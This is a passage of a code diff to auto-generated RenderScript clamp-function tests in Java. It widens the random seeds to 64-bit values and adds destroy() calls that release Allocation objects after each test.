-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x60582365l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0x48112f5fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xd96e2165l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xc3eed93d60582365l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xbd370ebb48112f5fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xbd370eafd96e2165l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
@@ -5013,6 +5295,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUint3UintUintUint3(inValue, out);
             verifyResultsClampUint3UintUintUint3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUint3UintUintUint3: " + e.toString());
         }
@@ -5022,9 +5305,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUint3UintUintUint3(inValue, out);
             verifyResultsClampUint3UintUintUint3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUint3UintUintUint3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUint3UintUintUint3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -5092,9 +5379,9 @@
     }
 
     private void checkClampUint4UintUintUint4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x49a2ec79l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xcd80dddbl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0x5eddcfe1l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x380d199d49a2ec79l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xc8a2a4ecd80dddbl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xc8a2a435eddcfe1l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
@@ -5102,6 +5389,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUint4UintUintUint4(inValue, out);
             verifyResultsClampUint4UintUintUint4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUint4UintUintUint4: " + e.toString());
         }
@@ -5111,9 +5399,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUint4UintUintUint4(inValue, out);
             verifyResultsClampUint4UintUintUint4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUint4UintUintUint4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUint4UintUintUint4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -5181,9 +5473,9 @@
     }
 
     private void checkClampLong2LongLongLong2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x7c535bb5l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x8f83654fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x20e05755l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x19353a9f7c535bb5l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0xee8dc7f38f83654fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0xee8dc7e820e05755l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
@@ -5191,6 +5483,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampLong2LongLongLong2(inValue, out);
             verifyResultsClampLong2LongLongLong2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLong2LongLongLong2: " + e.toString());
         }
@@ -5200,9 +5493,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampLong2LongLongLong2(inValue, out);
             verifyResultsClampLong2LongLongLong2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLong2LongLongLong2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampLong2LongLongLong2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -5270,9 +5567,9 @@
     }
 
     private void checkClampLong3LongLongLong3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x659e24c9l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x14f313cbl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0xa65005d1l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x8d537aff659e24c9l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x3de0e38714f313cbl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x3de0e37ba65005d1l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
@@ -5280,6 +5577,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampLong3LongLongLong3(inValue, out);
             verifyResultsClampLong3LongLongLong3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLong3LongLongLong3: " + e.toString());
         }
@@ -5289,9 +5587,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampLong3LongLongLong3(inValue, out);
             verifyResultsClampLong3LongLongLong3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLong3LongLongLong3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampLong3LongLongLong3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -5359,9 +5661,9 @@
     }
 
     private void checkClampLong4LongLongLong4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x4ee8edddl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x9a62c247l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x2bbfb44dl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x171bb5f4ee8edddl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x8d33ff1a9a62c247l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x8d33ff0f2bbfb44dl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
@@ -5369,6 +5671,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampLong4LongLongLong4(inValue, out);
             verifyResultsClampLong4LongLongLong4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLong4LongLongLong4: " + e.toString());
         }
@@ -5378,9 +5681,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampLong4LongLongLong4(inValue, out);
             verifyResultsClampLong4LongLongLong4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLong4LongLongLong4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampLong4LongLongLong4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -5448,9 +5755,9 @@
     }
 
     private void checkClampUlong2UlongUlongUlong2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0xa7fa1bf7l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x8d13b735l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x1e70a93bl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0xf275dabaa7fa1bf7l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0xf08a9e698d13b735l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0xf08a9e5e1e70a93bl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
@@ -5458,6 +5765,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUlong2UlongUlongUlong2(inValue, out);
             verifyResultsClampUlong2UlongUlongUlong2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlong2UlongUlongUlong2: " + e.toString());
         }
@@ -5467,9 +5775,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUlong2UlongUlongUlong2(inValue, out);
             verifyResultsClampUlong2UlongUlongUlong2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlong2UlongUlongUlong2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUlong2UlongUlongUlong2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -5537,9 +5849,9 @@
     }
 
     private void checkClampUlong3UlongUlongUlong3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x20b6497dl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0xc0421f27l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x519f112dl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x417c2f0620b6497dl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0xfb4069f3c0421f27l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0xfb4069e8519f112dl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
@@ -5547,6 +5859,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUlong3UlongUlongUlong3(inValue, out);
             verifyResultsClampUlong3UlongUlongUlong3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlong3UlongUlongUlong3: " + e.toString());
         }
@@ -5556,9 +5869,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUlong3UlongUlongUlong3(inValue, out);
             verifyResultsClampUlong3UlongUlongUlong3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlong3UlongUlongUlong3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUlong3UlongUlongUlong3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -5626,9 +5943,9 @@
     }
 
     private void checkClampUlong4UlongUlongUlong4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x99727703l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0xf3708719l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x84cd791fl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x9082835199727703l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x5f6357df3708719l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x5f6357284cd791fl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
@@ -5636,6 +5953,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUlong4UlongUlongUlong4(inValue, out);
             verifyResultsClampUlong4UlongUlongUlong4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlong4UlongUlongUlong4: " + e.toString());
         }
@@ -5645,9 +5963,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUlong4UlongUlongUlong4(inValue, out);
             verifyResultsClampUlong4UlongUlongUlong4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlong4UlongUlongUlong4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUlong4UlongUlongUlong4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -5725,9 +6047,9 @@
     }
 
     private void checkClampHalfHalfHalfHalf() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x4b82831l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xf102f883l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x825fea89l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa14cfae504b82831l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd705630af102f883l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd70562ff825fea89l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
@@ -5735,6 +6057,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampHalfHalfHalfHalf(inValue, out);
             verifyResultsClampHalfHalfHalfHalf(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalfHalfHalfHalf: " + e.toString());
         }
@@ -5744,9 +6067,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampHalfHalfHalfHalf(inValue, out);
             verifyResultsClampHalfHalfHalfHalf(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalfHalfHalfHalf: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampHalfHalfHalfHalf(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -5821,9 +6148,9 @@
     }
 
     private void checkClampHalf2Half2Half2Half2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb1049715l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x6f2ebd6fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8baf75l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x21a2a411b1049715l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x4311a0566f2ebd6fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x4311a04b008baf75l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
@@ -5831,6 +6158,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampHalf2Half2Half2Half2(inValue, out);
             verifyResultsClampHalf2Half2Half2Half2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalf2Half2Half2Half2: " + e.toString());
         }
@@ -5840,9 +6168,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampHalf2Half2Half2Half2(inValue, out);
             verifyResultsClampHalf2Half2Half2Half2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalf2Half2Half2Half2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampHalf2Half2Half2Half2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -5917,9 +6249,9 @@
     }
 
     private void checkClampHalf3Half3Half3Half3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xa6d9935dl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x81facac7l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x1357bccdl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x7a4fc1e2a6d9935dl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd094c90381facac7l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd094c8f81357bccdl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
@@ -5927,6 +6259,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampHalf3Half3Half3Half3(inValue, out);
             verifyResultsClampHalf3Half3Half3Half3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalf3Half3Half3Half3: " + e.toString());
         }
@@ -5936,9 +6269,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampHalf3Half3Half3Half3(inValue, out);
             verifyResultsClampHalf3Half3Half3Half3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalf3Half3Half3Half3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampHalf3Half3Half3Half3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -6013,9 +6350,9 @@
     }
 
     private void checkClampHalf4Half4Half4Half4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x9cae8fa5l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x94c6d81fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x2623ca25l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd2fcdfb39cae8fa5l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5e17f1b094c6d81fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5e17f1a52623ca25l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
@@ -6023,6 +6360,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampHalf4Half4Half4Half4(inValue, out);
             verifyResultsClampHalf4Half4Half4Half4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalf4Half4Half4Half4: " + e.toString());
         }
@@ -6032,9 +6370,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampHalf4Half4Half4Half4(inValue, out);
             verifyResultsClampHalf4Half4Half4Half4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalf4Half4Half4Half4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampHalf4Half4Half4Half4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -6109,9 +6451,9 @@
     }
 
     private void checkClampHalf2HalfHalfHalf2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x35f68507l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xbc3d6b65l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x4d9a5d6bl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5a2c9cb635f68507l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xcd629fcbbc3d6b65l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xcd629fc04d9a5d6bl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
@@ -6119,6 +6461,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampHalf2HalfHalfHalf2(inValue, out);
             verifyResultsClampHalf2HalfHalfHalf2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalf2HalfHalfHalf2: " + e.toString());
         }
@@ -6128,9 +6471,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampHalf2HalfHalfHalf2(inValue, out);
             verifyResultsClampHalf2HalfHalfHalf2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalf2HalfHalfHalf2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampHalf2HalfHalfHalf2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -6205,9 +6552,9 @@
     }
 
     private void checkClampHalf3HalfHalfHalf3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x1f414e1bl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x41ad19e1l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd30a0be7l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xce4add161f414e1bl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x1cb5bb5f41ad19e1l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x1cb5bb53d30a0be7l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
@@ -6215,6 +6562,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampHalf3HalfHalfHalf3(inValue, out);
             verifyResultsClampHalf3HalfHalfHalf3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalf3HalfHalfHalf3: " + e.toString());
         }
@@ -6224,9 +6572,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampHalf3HalfHalfHalf3(inValue, out);
             verifyResultsClampHalf3HalfHalfHalf3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalf3HalfHalfHalf3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampHalf3HalfHalfHalf3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -6301,9 +6653,9 @@
     }
 
     private void checkClampHalf4HalfHalfHalf4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x88c172fl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc71cc85dl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x5879ba63l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x42691d76088c172fl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x6c08d6f2c71cc85dl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x6c08d6e75879ba63l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
@@ -6311,6 +6663,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampHalf4HalfHalfHalf4(inValue, out);
             verifyResultsClampHalf4HalfHalfHalf4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalf4HalfHalfHalf4: " + e.toString());
         }
@@ -6320,9 +6673,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampHalf4HalfHalfHalf4(inValue, out);
             verifyResultsClampHalf4HalfHalfHalf4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampHalf4HalfHalfHalf4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampHalf4HalfHalfHalf4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
